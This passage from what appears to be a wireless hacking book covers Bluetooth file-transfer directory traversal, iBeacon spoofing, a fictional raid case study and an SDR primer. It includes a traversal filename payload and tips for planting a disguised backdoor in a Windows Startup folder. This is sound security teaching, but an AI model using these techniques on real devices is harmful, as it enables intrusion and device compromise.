administrator	is	often	able	to	specify	a	list	of	directories	that	can	be	accessed	by	a	remote
FTP	client,	denying	remote	access	to	any	directories	not	explicitly	listed.

In	the	past	several	years,	a	number	of	vulnerabilities	have	been	identified	in	various
implementations	of	the	OPP	and	FTP	services,	granting	an	attacker	unrestricted	access	to
the	remote	device.	The	techniques	by	which	these	attacks	were	discovered	and	executed
are	valuable	to	understand	when	applied	to	modern	Bluetooth	implementations.

	File	Transfer	Directory	Traversal

To	date,	several	Bluetooth	stacks	have	been	revealed	as	vulnerable	to	directory
recursion	attacks.	In	a	directory	recursion	attack,	the	attacker	specifies	the	filename	to	be
stored	on	the	target	system	with	leading	directory	recursion	characters	(..\).	If	the	target
Bluetooth	stack	does	not	validate	the	filename	being	transferred,	the	attacker	can	direct	the
file	to	be	stored	in	any	directory	on	the	target	filesystem.	For	example,	if	the	Bluetooth
implementation	attempts	to	store	all	files	in	the	C:\My	Documents\Bluetooth	Files
directory,	and	the	attacker	specifies	a	filename	of	....\Windows\Startup\Pwned.exe,	a
vulnerable	Bluetooth	stack	will	write	the	transferred	file	to
C:\Windows\Startup\Pwned.exe,	recursing	out	of	the	intended	Bluetooth	Files	directory.

Directory	recursion	attacks	have	been	reported	against	the	Widcomm,	Toshiba,
BlueSoleil,	Affix,	and	various	mobile	device	Bluetooth	implementations.	Each	of	the
reported	vulnerabilities	is	very	similar,	often	exhibited	in	both	OPP	and	FTP.



To	exploit	a	directory	recursion	vulnerability	against	OPP,	we	can	use	the	ussp-push
utility.	First,	we	select	the	payload	to	upload	to	the	target	system,	such	as	a	rootkit	or	other
system	backdoor	or	shell	script	designed	to	manipulate	the	system	to	grant	access.	Next,
we	transfer	the	file	to	the	target	system	using	the	exploit	name	(acrd32up.exe	in	this
example),	targeting	a	specific	directory	where	it	will	be	executed.	A	common	attack	is	to
upload	the	payload	to	C:\Windows\Startup	to	have	the	program	execute	when	the	system
is	booted,	as	shown	here:

Despite	the	lack	of	a	success	indicator,	ussp-push	has	transmitted	the	file	pwned.exe	to
the	target	system,	writing	it	in	the	\windows\startup	directory	as	acrd32up.exe	(attempting
to	obscure	the	file’s	intent	by	using	an	innocuous	filename).	Because	the	backslash
character	is	a	Unix	shell	meta-character,	we	enter	it	twice	so	the	Linux	shell	does	not
interpret	it	as	a	meta-character.

	

You	can	specify	an	arbitrary	number	of	directory	recursion	commands	without	negative
consequence.	Even	if	you	do	not	know	the	exact	number	of	paths	necessary	to	recurse,
simply	specify	a	reasonable	number	of	recursion	commands	to	ensure	you	reach	the	root
of	the	filesystem	before	entering	the	known	directory	structure.

Although	a	directory	recursion	vulnerability	in	OPP	is	a	significant	risk,	directory
recursion	vulnerabilities	in	FTP	expose	the	contents	of	the	target	filesystem	as	well.	A
directory	recursion	vulnerability	in	OPP	allows	an	attacker	to	upload	a	file	to	any	directory
on	the	target	system;	a	directory	recursion	vulnerability	in	FTP	allows	the	attacker	to	list
all	directories	and	files	on	the	target,	uploading	arbitrary	files	and	retrieving	any	content	as
well.	Both	OPP	and	FTP	vulnerabilities	can	ultimately	be	used	to	compromise	the	host,
but	a	vulnerability	in	FTP	is	easier	to	exploit	for	an	attacker	who	wants	to	gain	access	to
confidential	resources	on	the	target	device.

On	Linux	systems,	we	can	manipulate	a	vulnerable	FTP	service	using	the	obexftp
utility,	as	shown	here:



We	can	also	retrieve	named	files	using	the	-g	argument:

Files	are	uploaded	to	the	target	device	with	the	-p	argument,	and	the	target	directory	is
specified	with	-c,	as	shown	here:

	Mitigating	File	Transfer	Directory	Recursion	Attacks
To	exploit	a	file	transfer	directory	recursion	attack	successfully,	an	attacker	must	know	the
target’s	BD_ADDR;	he	must	be	authorized	to	use	the	service	(if	required	by	the	target
device);	and	the	device	must	be	vulnerable.	To	defend	against	this	attack,	we	can	apply	the
common	Bluetooth	best	practice	of	configuring	devices	in	non-discoverable	mode	as	an



initial	defense	mechanism.	If	the	device	requires	all	incoming	connections	to	be
authorized,	warn	your	users	against	accepting	unsolicited	Bluetooth	connections,	being
wary	of	previously	unrecognized	system	prompts.	Finally,	if	available,	apply	vendor
patches	to	resolve	vulnerabilities	in	the	Bluetooth	stack.

Attacking	Apple	iBeacon
As	you	saw	in	Chapter	8,	iBeacon	technology	uses	Bluetooth	Low	Energy	advertising
channels	to	uniquely	identify	a	device	through	the	use	of	the	unique	identifier	(UUID,
representing	a	business	or	a	specific	company).	iBeacon	transmissions	also	include	two
additional	values	in	these	device	advertising	messages:	the	Major	ID	(identifying	an
individual	store	or	a	collection	of	iBeacon	transmitters	within	a	relatively	small
geographic	area),	and	the	Minor	ID	(identifying	the	unique	iBeacon	transmitter).	Several
times	per	second	an	iBeacon	transmitter	advertises	its	presence	to	any	devices	listening	in
the	area	using	these	three	values	in	plaintext.	The	organization	establishing	the	iBeacon
devices	can	develop	applications	to	leverage	the	iBeacon	location	data	along	with	signal
strength	readings	to	pinpoint	your	indoor	location	for	the	purposes	of	targeted	advertising,
location-aware	application	enhancements,	and	other	location-specific	content.

	

In	this	section,	we	examine	a	common	deployment	scenario	for	Apple	iBeacon
technology,	although	these	same	attacks	also	apply	to	Android	4.3	devices	and	later.	While
the	iBeacon	trademark	is	registered	to	Apple,	the	technology	is	similarly	supported	by
Android	devices	through	the	use	of	the	third-party	Android	Beacon	Library	provided	by
Radius	Networks,	available	at	http://developer.radiusnetworks.com/ibeacon/android.

iBeacon	Deployment	Example
For	example,	consider	the	case	of	a	fictitious	retail	merchant	we	call	“Bourne.”	Bourne	is
a	US-based	department	store	chain	selling	a	variety	of	products	from	clothing	to
perishable	foods.	As	part	of	a	marketing	program,	Bourne	has	developed	an	Apple	iOS
app	for	users,	offering	features	such	as	store	inventory	lookup,	directions	and	operating
hours	for	local	stores,	and	in-store	location-aware	services	such	as	an	interactive	store	map
and	electronic	coupons	for	discounted	items.

To	allow	the	iOS	app	to	identify	its	location	within	a	store,	Bourne	has	deployed
numerous	iBeacon	sensors	throughout	the	stores,	with	a	greater	deployment	density	of
sensors	in	locations	where	special	promotional	items	are	located.	All	Bourne	sensors
companywide	share	a	single	UUID	that	identifies	the	iBeacon	transmitters	as	Bourne
devices.	The	UUID	itself	is	selected	with	the	Mac	OS	X	uuidgen	utility:

Through	the	use	of	a	storewide	UUID,	the	Bourne	mobile	app	developer	can	register

http://developer.radiusnetworks.com/ibeacon/android


the	iOS	application	to	receive	alerts	anytime	the	user	is	within	range	of	a	Bourne	store
using	the	Apple	Core	Location	Framework,	as	shown	in	Objective-C:

In	this	code	segment,	the	Bourne	UUID	is	used	to	allocate	an	NSUUID	object,	which	is
then	used	to	allocate	a	beacon	region.	Next,	the	Apple	location	manager	is	invoked	to	start
monitoring	for	iBeacon	transmissions	with	the	specified	UUID.	When	a	user	with	an	iOS
device	enters	a	Bourne	store,	the	app	that	is	registered	to	handle	the	advertisements
associated	with	the	Bourne	UUID	is	invoked	and	can	send	lock-screen	alerts	to	the	user’s
device	(with	notification	events,	such	as	audio	or	vibrate	alerts).

Each	Bourne	store	is	uniquely	identified	with	an	iBeacon	Major	ID,	organized	by
state.	The	Minor	ID	identifies	the	unique	iBeacon	transmitter	in	a	store,	specific	to	a	store
end-cap,	aisle,	or	other	featured	area.	The	UUID,	Major	ID,	and	Minor	ID	for	an	identified
iBeacon	transmitter	are	combined	to	identify	the	shopper’s	location	to	deliver	coordinated
ads,	coupons,	or	other	marketing	content	within	the	store.	Based	on	Bourne’s	dynamic
marketing	and	business	priorities,	users	may	be	presented	with	information	on	various
sales	or	other	services	to	encourage	buyer	habits.

The	Bourne	mobile	application	can	utilize	location	information	within	stores	based	on
notifications	received	from	the	iOS	operating	system.	When	an	iBeacon	transmitter	using
the	Bourne	UUID	is	observed,	the	mobile	app	receives	a	background	notification
indicating	the	user	is	between	30M	and	.5M	from	the	transmitter.	From	the	iOS	iBeacon
convention,	the	app	recognizes	that	the	mobile	device	is	“far,”	“near,”	or	“immediate”
within	proximity	of	the	transmitter,	as	shown	in	Figure	10-2.



Figure	10-2	Distance	categories	for	iBeacon	notifications

Consider	a	case	where	Bourne	has	recently	taken	acquisition	of	a	new	line	of	men’s
sport	jackets.	The	previous	product	line	has	sold	well	in	stores,	but	needs	to	be	cleared	to
make	space	for	new	inventory.	If	a	customer’s	iOS	device	running	the	Bourne	mobile	app
detects	the	user	is	near	the	old	product	line,	it	can	query	the	customer’s	profile	preferences
(indicating	gender),	past	purchase	records	(if	user	has	already	purchased	this	item),	and
spending	analytics	(if	user	historically	purchases	items	at	discounted	or	deeply	discounted
levels)	to	generate	a	dynamic	coupon	or	other	offer	with	a	notification	on	the	iOS	device,
as	shown	in	Figure	10-3.	Later,	if	Bourne	decides	to	more	deeply	discount	the	cost	of	the
sport	jacket,	the	mobile	application	can	determine	if	the	user	decided	to	use	the	coupon
and,	if	not,	offer	a	more	discounted	price	the	next	time	the	consumer	enters	the	store.



Figure	10-3	Bourne	mobile	app	dynamic	coupon	offer

The	simplicity	of	the	iBeacon	protocol	makes	adoption	by	retailers	and	other
merchants	easy,	integrating	mobile	application	technology	that	detects	iBeacon
transmitters	sending	a	specific	manufacturer	ID.	From	a	security	perspective,	the	limited
data	disclosed	by	iBeacon	transmitters	doesn’t	offer	much	interesting	content,	limited	to
the	Bluetooth	access	address,	advertising	address,	and	the	UUID,	Major	ID,	and	Minor	ID
values,	as	shown	in	Figure	10-4.	The	use	cases	for	iBeacon,	however,	and	the	ability	to
interact	with	and	manipulate	mobile	device	applications	are	interesting,	with	exploitation
opportunities	that	vary	across	different	mobile	applications	that	utilize	iBeacon
notifications.

Figure	10-4	Packet	sniffer	capture	of	iBeacon	advertisements

	iBeacon	Impersonation



At	the	time	of	this	writing,	no	security	mechanism	exists	that	protects	the
confidentiality	or	integrity	of	the	Bluetooth	Low	Energy	advertisement	message.	An
attacker	with	a	Bluetooth	Low	Energy	wireless	adapter	and	the	appropriate	software	can
impersonate	iBeacon	transmitters	to	manipulate	mobile	applications.

For	example,	consider	a	case	where,	through	reverse-engineering	and	network	traffic
capture	analysis,	an	attacker	identifies	that	the	Bourne	application	will	offer	a	coupon	to
shoppers	who	visit	the	women’s	lingerie	section	of	the	store.	This	behavior	is	triggered	in
the	Bourne	application	when	an	iBeacon	with	the	UDID	72C898A3-8F29-493B-8A34-
41297F1B17B5	is	observed	with	a	Minor	ID	of	0x4D49,	as	shown	in	the	following	code
excerpt:



In	this	code	excerpt,	the	Bourne	application	registers	the	UUID	and	monitors	for	iBeacon
advertisements	using	the	specified	UUID.	When	an	iBeacon	is	identified	in	proximity	to
the	Bourne	application,	it	checks	the	iBeacon	Minor	ID	(the	Major	ID	is	used	for	the	store
identification,	so	this	event	triggers	for	any	store).	If	the	iBeacon	Minor	ID	is	set	to
BOURNE_BEACON_MIN_LINGERIE,	then	an	image	is	allocated	in	the	application
view	that	displays	an	advertisement.

Recognizing	this	behavior,	an	attacker	can	trigger	this	event	in	the	application	by
impersonating	the	iBeacon	transmitter	with	the	Bourne	UUID	and	Minor	ID	value:

The	hciconfig	utility	is	used	to	disable	traditional	inquiry	and	page	scanning,	and	to
turn	on	the	Low	Energy	advertising	function	of	the	Bluetooth	4	adapter.	The	hcitool	utility
configures	the	adapter	with	the	information	to	include	in	the	Bluetooth	Low	Energy
advertisement,	as	shown	in	Table	10-2.



Table	10-2	Bluetooth	Low	Energy	Advertisement	Data	Breakdown

Even	without	a	Linux	host,	an	attacker	can	use	a	Bluetooth	Low	Energy–capable	iOS
device	to	impersonate	an	arbitrary	UUID,	Major	ID,	and	Minor	ID	combination	using	the
free	xBeacon	app,	as	shown	in	Figure	10-5	(note	that	the	Major	ID	and	Minor	ID	are
specified	in	decimal	format,	not	hexadecimal).





Figure	10-5	Impersonate	iBeacon	Transmitter	with	xBeacon

When	the	attacker	configures	her	system	to	impersonate	an	iBeacon	transmitter,	any
victim	within	proximity	to	the	attacker	who	has	the	Bourne	app	installed	will	receive	an
iBeacon	notification	event—regardless	of	the	victim’s	actual	location	and	proximity	to	a
Bourne	store.	An	example	notification	event	is	shown	in	Figure	10-6.

Figure	10-6	Bourne	mobile	app	iBeacon	impersonation	behavior

The	ability	of	an	attacker	to	fool	a	mobile	device	into	believing	that	it	is	near	a
legitimate	iBeacon	transmitter	is	not	a	significant	threat	from	a	security	perspective,
though	it	does	illustrate	some	potential	concerns:

•		An	attacker	can	trigger	mobile	device	application	behavior	by	impersonating
an	iBeacon	device.	If	a	vulnerability	is	also	identified	in	the	mobile	application,
impersonating	an	iBeacon	device	may	be	sufficient	to	bring	the	app	to	the
foreground	to	exploit	the	vulnerability.

•		Organizations	deploying	iBeacon	devices	may	be	concerned	about	brand
tarnish	following	attacks	in	which	shopper	benefits	are	offered	to	consumers	in
situations	where	they	cannot	take	advantage	of	them.	For	example,	a	marketing
program	that	offers	a	discount	on	merchandise	in	stores	can	be	triggered	by	an
attacker	on	an	airplane	or	other	situation	where	the	consumer	cannot	leverage	the
offer.

•			As	a	variation	on	iBeacon	impersonation,	a	competitor	of	Bourne’s	could
also	register	an	application	to	take	actions	when	a	Bourne	iBeacon	comes	with
range.	For	example,	the	Bourne	competitor	may	offer	a	shopper	an	even	greater
discount	on	sports	blazers	when	it	detects	that	the	shopper	is	within	proximity	of
the	Bourne	iBeacon	transmitter	in	an	effort	to	convince	shoppers	to	switch	stores.

Future	deployments	of	iBeacon	may	also	be	vulnerable	to	eavesdropping	attacks	in
which	advertising	beacon	payload	content	contains	more	than	UUID	and	Major/Minor	ID
values.	For	example,	using	the	Linux	hcitool	command	to	frequently	check	the	status	of	a
Linux	host’s	CPUs,	advertising	the	total	utilization	in	Bluetooth	Low	Energy
advertisement	packets,	is	straightforward.	Apple	iOS	devices	could	retrieve	this



information	by	decoding	the	Major	ID	and	Minor	ID	fields	as	the	left	and	right	of	the
decimal	value	of	a	floating	point	number	representing	CPU	utilization:

	

You	can	watch	the	changing	CPU	level	data	sent	in	Bluetooth	Low	Energy	advertisement
packets	on	the	same	system	by	running	hcidump	-X	in	a	new	terminal.

Alternatively,	a	greater	amount	of	data	could	be	transmitted	in	the	payload	of	a
Bluetooth	Low	Energy	beacon	(up	to	31	bytes)	under	a	different	manufacturer	ID:



In	this	example,	the	number	of	bytes	received	and	transmitted	on	the	eth0	interface	is
encoded	and	transmitted	in	a	Bluetooth	Low	Energy	beacon	frame.	This	frame	is	not
iBeacon	compliant	(replacing	the	Apple	manufacturer	code	with	an	arbitrary	value	of	“4a
57”),	but	it	allows	us	to	transmit	more	data	than	could	otherwise	be	sent	using	the	Major
ID	and	Minor	ID	fields	alone.

In	these	examples	we	are	transmitting	basic	system	utilization	information,	but	it	is
reasonable	to	expect	more	vendor	products	to	leverage	Bluetooth	Low	Energy	beacons	for
transmitting	sensitive	data.	Potential	uses	for	Bluetooth	Low	Energy	beacon	data	include
medical	telemetry	information	for	patients	(blood	pressure,	pulse	oximetry,	heart	rate,
glucose	levels,	and	so	on),	environmental	data	(temperature,	humidity,	air	particulate
count),	security	systems	(vibration	sensing,	door	open	events,	glass	break	detection,
proximity	alerting),	and	automation	and	control	systems	(temperature	reporting,	cost	per
KWH,	power	utilization	monitoring).

In	these	scenarios,	the	observation	of	data	transmitted	in	plaintext	is	of	little	value;	a
heart	rate	reporting	system	that	identifies	a	patient	by	a	UUID	that	is	not	known	to	an
attacker	offers	little	benefit	from	a	passive	eavesdropping	perspective.	However,	any
actions	that	the	system	takes	on	observed	data	could	be	manipulated	by	an	attacker.

Products	using	iBeacon	and	Bluetooth	Low	Energy	beacon	frames	will	continue	to
come	to	market,	meeting	the	requirements	for	long	battery	life,	low	cost,	and	simple
integration.	Systems	that	do	not	heed	basic	security	concerns	will	likely	be	the	target	of
attackers.

Summary
In	this	chapter,	we	focused	the	analysis	on	attacking	and	exploiting	Bluetooth	technology,
building	on	the	information	gathered	through	reconnaissance	and	scanning	(Chapters	7
and	8)	and	Bluetooth	traffic	sniffing	(Chapter	9).

Bluetooth	PIN	attacks	leverage	the	ability	to	capture	traffic	between	two	devices
during	the	pairing	event.	Once	the	pairing	exchange	has	been	observed,	an	attacker	can
recover	the	PIN	or	LK,	decrypting	the	Bluetooth	network	packet	capture	data.

We	also	examined	the	multiple	mechanisms	used	to	identify	a	Bluetooth	device
including	the	BD_ADDR,	service	and	device	class,	and	friendly	name	information.	By
manipulating	these	fields,	we	can	alter	a	remote	device’s	perception	of	our	system.
Sometimes	this	is	necessary	just	to	be	seen	by	the	target	device,	such	as	is	the	case	with
the	iPhone	Bluetooth	browser	interface.	Other	times,	we	can	manipulate	identity
information,	for	instance,	the	friendly	name,	to	exploit	vulnerable	Bluetooth	devices.

We	also	examined	multiple	attacks	against	Bluetooth	profiles,	exploiting	weaknesses
and	vulnerabilities	in	various	Bluetooth	stack	implementations.	Bluetooth	profile	attacks
are	not	universally	applicable	to	all	Bluetooth	devices,	though	they	represent	the	most
popular	mechanism	attackers	use	to	exploit	Bluetooth	technology	today.

The	introduction	of	Bluetooth	Low	Energy	and	its	use	in	emerging	technology	such	as
Apple	iBeacon	will	continue	to	find	adoption	in	many	different	markets.	Although	the	use



of	iBeacon	itself	does	not	necessarily	threaten	the	security	of	Bluetooth	devices,	it
represents	a	potential	privacy	threat	for	end-users	and	an	opportunity	for	attackers	to
manipulate	how	applications	behave	on	victims’	mobile	devices.

Bluetooth	technology	remains	a	compelling	target	for	attackers,	with	renewed	focus	on
the	development	of	attack	tools,	including	packet	sniffers	with	Ubertooth.	As	long	as
organizations	remain	complacent	about	the	security	of	Bluetooth	technology,	attackers
will	continue	to	find	new	ways	to	exploit	this	popular	wireless	transport	mechanism.



	





PART	III
	



MORE	UBIQUITOUS	WIRELESS
	

	





	

CASE	STUDY:	Failure	Is	Not	an	Option
“We’re	ready	to	go	whenever	brainiac	over	there	gives	us	the	go-ahead.”

Lourdes	didn’t	glance	over	her	shoulder	to	look	at	the	sergeant.	She	knew	the	team
had	to	wait	until	she	had	finished	with	her	preparations	before	they	could	move	in.	She
wasn’t	on	the	need-to-know	list	for	this	operation,	but	there	was	little	doubt	that	the
guys	holed	up	in	the	compound	were	bad	news.	One	look	at	the	SWAT	team	in	the
disguised	truck	told	her	this	was	a	dangerous	operation.

They	were	counting	on	her,	and	she	couldn’t	let	them	down.

The	targets	were	no	slouches	on	the	technology	front.	Motion	sensor	systems
monitored	the	grounds	immediately	beyond	the	stone	walls	surrounding	the	building.
Video	monitoring	solutions	covered	all	entry	locations.	Sentries	used	wireless
communications	equipment	for	reporting	events.	Each	door	was	a	formidable	barrier	by
itself,	secured	with	state-of-the-art	short-range	smartcard	authentication	systems.

Fortunately,	Lourdes	knew	a	thing	or	two	about	wireless	hacking.	What	good	was	a
triple-reinforced,	locked	steel	door	when	you	had	an	HID	door	access	cloning	tool
ready	to	go?

The	motion	detection	systems	were	the	first	to	go.	High-end	ZigBee	motion	sensors
were	feature-rich,	but	still	based	on	the	IEEE	802.15.4	protocol.	A	few	days	reverse-
engineering	the	firmware	revealed	an	interesting	flaw:	the	devices	stopped
communicating	when	the	frame	counter	became	too	high.	In	practice,	that	would	never
happen,	but	Lourdes	knew	she	could	inject	forged	packets	that	would	set	the	frame
counter	to	232–1,	making	the	sensors	unable	to	transmit	any	more	packets	and
preventing	the	team	from	triggering	any	motion	sensors	that	would	light	up	the	yard.

The	video	monitoring	system	fell	more	easily.	The	targets	had	deployed	standard
consumer	hardware	using	Z-Wave,	and	Lourdes	knew	the	systems	were	vulnerable	to
packet	replay	attacks.	A	few	nights	ago	Lourdes	recorded	about	a	minute	of	footage	for
each	camera	node.	As	a	well-behaving	protocol,	Z-Wave	devices	won’t	transmit	when
the	medium	is	busy,	giving	her	the	chance	to	silence	the	real	video	systems	while	the
monitors	showed	the	replayed	packets.	It	was	sufficient	to	hide	the	team’s	activities	as
they	crossed	to	the	building,	as	long	as	the	bad	guys	didn’t	look	too	close	when	the
footage	looped.

The	wireless	communications	system	was	a	bit	more	of	a	challenge.	Using	a
proprietary	RF	system,	Lourdes	had	to	figure	out	how	to	demodulate	the	traffic	using
software-defined	radio	tools.	With	some	custom	code	and	selective	jamming	tools,	she
was	able	to	let	the	team	listen	in	and	could	also	cut	off	the	audio	at	a	moment’s	notice.

The	sergeant	was	adamant	that	there	could	be	no	outbound	communication	during
the	mission.	Cutting	the	wired	lines	was	easy,	but	Lourdes	had	to	devise	a	method	to
intercept	cell	phones	and	4G	data	connections.	With	her	modified	Mobile	Network
Extender,	Lourdes	had	become	“the	cell	tower”	to	everyone	in	the	area.	A	simple
iptables	firewall	rule	change	was	all	that	was	needed	to	drop	all	outbound	activity	but



still	maintain	the	connection.

“I’m	ready	Sergeant.”

“On	my	command.”

Lourdes	waited	for	the	order	to	execute	her	attacks	while	the	team	triple-checked
their	weapons	and	prepared	for	the	assault.	She	had	a	big	role	to	play,	and	her	part	was
essential	to	gain	the	upper	hand	on	the	bad	guys.

They	were	counting	on	her,	and	she	couldn’t	let	them	down.

“GO!”



	





CHAPTER	11
	



SOFTWARE-DEFINED	RADIOS
	





Do	you	remember	the	sounds	your	v.92	dial-up	modem	used	to	make?	Those	screeches,
whistles,	and	buzzes	were	the	sounds	of	your	information	traveling	across	the
phone	line	to	your	ISP.	Theoretically,	you	could	tap	your	phone	line,	record	the

entire	phone	call	to	a	wav	file,	and	write	a	computer	program	to	convert	the	sound	waves
into	a	pcap	file.

Now,	let’s	take	that	a	step	further.	If	you	can	turn	audio	into	a	pcap	file,	then	you
should	be	able	to	reverse	the	process	and	transmit	information	as	well.	If	you	can	get	this
process	to	work	in	real-time,	you	could	design	a	MitM	system	with	nothing	but	a	sound
card	and	a	sufficiently	fast	computer!

But	why	stop	there?	Caller	ID	may	not	use	v.92,	but	it	still	works	over	sound!	With	a
little	bit	of	research,	you	discover	how	Bell	202	modems	work	and	use	the	exact	same
hardware	to	spoof	Caller	ID.	In	essence,	this	is	the	foundation	of	software-defined	radios
—just	replace	sound	waves	with	radio	waves.	By	using	a	special	“radio	soundcard,”	you
can	receive	and	transmit	arbitrary	signals.

While	the	days	of	phone	phreaking	and	dial-up	modems	have	come	to	an	end,	the
advent	of	inexpensive	software-defined	radios	(SDR)	has	redefined	the	wireless	hacking
landscape.	Instead	of	being	limited	by	“black	box”	radios,	you	have	nearly	unfettered
access	to	the	RF	spectrum.	Radio	modules	and	protocols	that	were	previously	obscured
through	NDAs	and	specialized	equipment	are	now	laid	bare	for	your	manipulation.

This	chapter	is	split	into	five	sections,	designed	as	a	high-speed	crash	course	on	SDR.
The	first	section	explains	more	about	software-defined	radios	and	describes	how	they
work,	followed	by	a	section	on	how	to	choose	an	SDR.	Next,	we	discuss	plug-and-play
tricks	that	will	get	new	users	up	and	running.	For	more	analytical	readers,	the	third	section
discusses	some	of	the	theory	behind	radios	and	signal	processing.	Finally,	we’ll	walk
through	reverse	engineering	a	simple	wireless	device.

First,	however,	we	need	to	remind	readers	that	wireless	spectrum	usage	is	tightly
regulated	by	various	governmental	agencies.	You	are	responsible	for	ensuring	that	you	are
obeying	the	law	when	receiving	and/or	transmitting	radio	signals.

Second,	readers	should	also	note	that	SDR	is	still	in	its	infancy.	Nothing	is	truly	“plug
and	play.”	Even	if	you	follow	the	instructions	to	the	letter,	something	may	still	go	wrong.
Signal	processing	involves	advanced	mathematics,	and	concepts	often	have	circular
dependencies.	This	chapter	is	best	suited	for	people	with	abundant	patience!

SDR	Architecture
In	the	introduction	to	this	chapter,	we	likened	SDR	to	a	soundcard	for	radio	waves.	While
easy	to	understand,	that	concept	leaves	you	with	some	gaps.	The	following	is	a	simplified
block	diagram	of	a	basic	software-defined	radio.	Most	radios	have	three	main	parts:	the
radio	frequency	(RF)	amplifier,	the	tuner,	and	the	ADC.



Although	technically	not	part	of	the	radio,	the	antenna	is	responsible	for	“picking	up”
radio	signals.	Some	antennas	function	well	across	many	frequencies,	whereas	others	only
function	well	at	one	frequency.	Isotropic	antennas	work	well	for	transmitting	and
receiving	(transceiving)	signals	from	any	direction.	However,	a	directional	antenna	(such
as	a	Yagi	antenna)	may	be	a	better	choice	if	you	are	trying	to	communicate	with	only	one
distant	station.	Unfortunately,	antennas	are	a	complex	topic	and	outside	the	scope	of	this
chapter.	In	most	cases,	the	antenna	that	comes	with	your	SDR	should	be	good	enough	for
basic	use.

The	RF	amplifier	is	responsible	for	boosting	weak	signals.	The	user	specifies	a	gain
value	in	decibels	(dB),	which	controls	the	amount	of	amplification.	Without	gain,	you
might	not	receive	weak	signals.	Too	much	gain,	however,	will	distort	your	signal—just
like	a	sound	system	turned	up	too	loud.	Some	radios	come	with	multiple	stages	of	gain;
others	include	automatic	gain	control	(AGC),	which	attempts	to	pick	the	best	gain	value
for	you.

Next	comes	the	tuner,	or	mixer.	Just	like	old	radios	with	a	tuning	knob,	the	mixer
selects	the	portion	of	the	radio	spectrum	to	analyze.	Picture	this	process	as	“dragging”	a
range	of	frequencies	down	to	a	lower	frequency.	Some	radios	perform	this	operation	in
several	steps	and	include	gain	at	the	intermediate	frequency	(IF)	and	baseband	(BB).

Finally,	the	selected	radio	signal	is	passed	to	an	analog-to-digital	converter	(ADC).
The	ADC	is	responsible	for	converting	the	analog	waveform	to	a	stream	of	digital
numbers	in	a	process	known	as	sampling.	Although	this	topic	is	complicated,	the	process
is	simple	to	understand.	Consider	the	following	example.

Your	teacher	asks	you	to	record	the	temperature	outside	your	house	and	plot	a	graph.
Every	so	often,	you	read	the	thermometer	and	note	the	temperature	on	a	spreadsheet.	Your
thermometer	only	comes	in	five-degree	increments,	however,	so	the	resolution	of	your
samples	is	limited.	In	addition,	the	rate	at	which	you	measure	the	temperature	affects	the
representation	of	your	signal.	If	you	only	take	one	measurement	a	week,	your	graph	won’t
be	too	informative.	If	you	take	one	sample	an	hour,	you	should	be	able	to	see	the
temperature	changing	throughout	the	day.	This	is	how	the	ADC	functions,	except	with
voltages	instead	of	temperature.

The	example	in	Figure	11-1	puts	the	entire	process	together	(in	an	ideal	theoretical
way).	The	RF	input	represents	all	radio	transmissions	on	many	frequencies.	You	may
notice	some	familiar	bands,	like	broadcast	FM,	Wi-Fi,	and	Bluetooth.	The	Low	Noise
Amplifier	(LNA,	or	“RF	amplifier”)	adds	gain	to	the	analog	spectrum,	making	the	signals
appear	stronger.	The	tuner,	in	this	case,	is	centered	on	800	MHz	and	brings	the	spectrum
down	to	baseband	for	the	ADC	to	capture.	By	configuring	the	ADC	to	run	at	a	sample	rate



of	10	million	samples	per	second	(MSPS),	the	computer	can	process	a	digital
representation	of	the	spectrum	from	795	MHz	to	805	MHz,	or	10	MHz	of	bandwidth.

Figure	11-1	Ideal	SDR	processing

The	ADC	doesn’t	know	what	portion	of	the	spectrum	it	is	sampling,	losing	that
information	after	the	mixer	stage.	As	shown	in	Figure	11-1,	signals	from	any	band	could
have	been	mixed	down	into	the	ADC’s	10	MHz	of	bandwidth.	End-user	software	like	gqrx
will	keep	track	of	the	original	frequency	for	you,	displaying	it	on	the	graph.	When
working	analytically,	you	will	often	see	frequencies	marked	relative	to	the	tuning
frequency.	Note	that	the	total	bandwidth	available	for	analysis	is	equal	to	the	sample	rate
and	spans	an	equal	range	around	zero.

Choosing	a	Software-Defined	Radio
Now	that	you	know	some	fundamental	principles	of	operation,	let’s	take	a	look	at	some
SDRs	on	the	market.	This	section	discusses	the	four	main	characteristics	of	interest	when
choosing	an	SDR.

Sample	Rate/Bandwidth	The	sample	rate,	usually	specified	in	millions	of	samples	per
second	(MSPS),	defines	the	maximum	bandwidth	you	are	able	to	view	simultaneously.	To



look	at	802.11b/g	or	LTE	signals,	you	need	at	least	20	MSPS	of	bandwidth.	However,	2
MSPS	of	bandwidth	is	plenty	for	many	popular	signals,	as	you	will	see	later	in	this
chapter.

Dynamic	Range/ADC	Resolution	The	ADC	resolution,	specified	in	bits,	is	similar	to	the
contrast	ratio	and	dots-per-inch	(DPI)	on	modern	TVs.	Higher	ADC	resolutions	(14-bit,
16-bit)	let	you	view	loud	signals	and	quiet	signals	together	and	observe	smaller
differences	in	the	signal.	For	demanding	applications	(like	LTE	or	GPS),	8	bits	may	not	be
enough.	However,	8	bits	is	plenty	enough	to	track	airplanes,	decode	pager	messages,	and
more!

Transmit	Capability	Some	SDRs	are	receive	only.	Although	there	is	plenty	to	investigate
with	just	a	receiver,	some	readers	may	not	be	satisfied	unless	they	can	transmit	as	well!
Take	note	of	the	radio’s	input/output	configuration.	Some	radios	allow	you	to	transmit	and
receive	simultaneously	(full	duplex),	but	others	only	allow	half	duplex	transmit
capabilities.

Tuner	Range	The	tuner	range	determines	what	frequencies	you	are	able	to	receive.	If	you
want	to	receive	Bluetooth,	for	example,	you	better	make	sure	this	range	includes	2.4	GHz!

Several	SDR	products	are	available	on	the	market,	with	a	list	of	four	common	products
described	in	Table	11-1.	We	focus	our	use	of	SDR	technology	on	the	RTL-SDR	and	the
HackRF	products,	being	two	of	the	most	readily	available	SDR	technologies.

RTL-SDR:	Entry-Level	Software-Defined	Radio
We	would	be	remiss	if	we	didn’t	include	some	small	section	on	the	wonder	device	that
brought	SDR	to	the	masses.	The	RTL-SDR	started	its	life	as	a	cheap	consumer	device	for
watching	digital	broadcast	television	(DVB-T)	in	Europe,	Asia,	and	Oceania.	By	plugging
it	into	your	laptop,	you	could	watch	TV	wherever	you	had	a	signal.

Table	11-1	SDR	Hardware	and	Capability	Notes



Intrepid	researcher	Eric	Fry	realized	the	device	was	sending	the	raw	radio	waveform
over	USB.	What’s	more,	the	device	can	be	tuned	from	anywhere	between	50	and	1750
MHz.	A	simple	driver	was	written,	and	support	for	GNU	Radio	was	added.	Development
exploded	and	soon	SDR	radio	enthusiasts	everywhere	were	bubbling	with	interest	for	the
$20	software-defined	radio	shown	here.	Today,	the	RTL-SDR	hardware	is	available	from
